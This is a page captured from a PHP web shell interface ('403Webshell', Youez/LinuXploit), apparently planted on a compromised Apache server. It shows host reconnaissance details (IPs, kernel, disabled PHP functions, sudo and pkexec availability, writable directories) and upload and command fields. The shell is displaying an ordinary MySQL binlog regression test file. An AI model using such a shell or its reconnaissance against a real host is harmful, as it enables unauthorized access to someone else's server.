403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.163.196
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/binlog/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/binlog/t/binlog_reset_connection_not_reset_writeset.test
###############################################################################
# Bug#25950554:THE FUNCTION RESET_CONNECTION DOES NOT RESET WRITE SET IN      #
#              WRITESET_SESSION.                                              #
#                                                                             #
# Problem: When we do reset_connection which has the same effect as           #
#          auto-reconnect, the write set session history is not cleared,      #
#          which in case of auto-reconnect does get cleared.                  #
#                                                                             #
# Fix:     Reset the write set session history when mysql_reset_connection    #
#          is called.                                                         #
#                                                                             #
# Steps to reproduce:                                                         #
#                                                                             #
# 1) Set the variable transaction_write_set_extraction to 'XXHASH64' which is #
#    necessary to be able to change the value of the variable                 #
#    binlog_transaction_dependency_tracking to WRITESET or WRITESET_SESSION   #
#                                                                             #
# 2) Set the variable binlog_transaction_dependency_tracking to WRITESET for  #
#    few coming transactions.                                                 #
#                                                                             #
# 3) Create a sample table and do few inserts.                                #
#                                                                             #
# 4) Change the value of binlog_transaction_dependency_tracking to            #
#    WRITESET_SESSION, to check if the write set session history is cleared   #
#    or not after calling reset_connection.                                   #
#                                                                             #
# 5) Call reset_connection.                                                   #
#                                                                             #
# 6) Check if the logical timestamp has the correct entry after the reset     #
#    connection. This will mean that the write set history is cleared after a #
#    to reset_connection.                                                     #
###############################################################################

--source include/have_binlog_format_row.inc

--let $saved_binlog_transaction_dependency_tracking= `SELECT @@GLOBAL.binlog_transaction_dependency_tracking`
--let $saved_transaction_write_set_extraction= `SELECT @@GLOBAL.transaction_write_set_extraction`

SET GLOBAL transaction_write_set_extraction= 'XXHASH64';
SET GLOBAL binlog_transaction_dependency_tracking= 'WRITESET';

CREATE TABLE t1(id INT, PRIMARY KEY (id));
FLUSH LOGS;
INSERT INTO t1(id) VALUES(1);
INSERT INTO t1(id) VALUES(2);

SET GLOBAL binlog_transaction_dependency_tracking= 'WRITESET_SESSION';
INSERT INTO t1(id) VALUES(3);
INSERT INTO t1(id) VALUES(4);

reset_connection;

--source include/save_binlog_position.inc

INSERT INTO t1(id) VALUES(5);

--let $logical_timestamps= 4 5
--source include/assert_logical_timestamps.inc

# Clean up
--eval SET GLOBAL binlog_transaction_dependency_tracking= $saved_binlog_transaction_dependency_tracking
--eval SET GLOBAL transaction_write_set_extraction= $saved_transaction_write_set_extraction
DROP TABLE t1;

Youez - 2016 - github.com/yon3zu
LinuXploit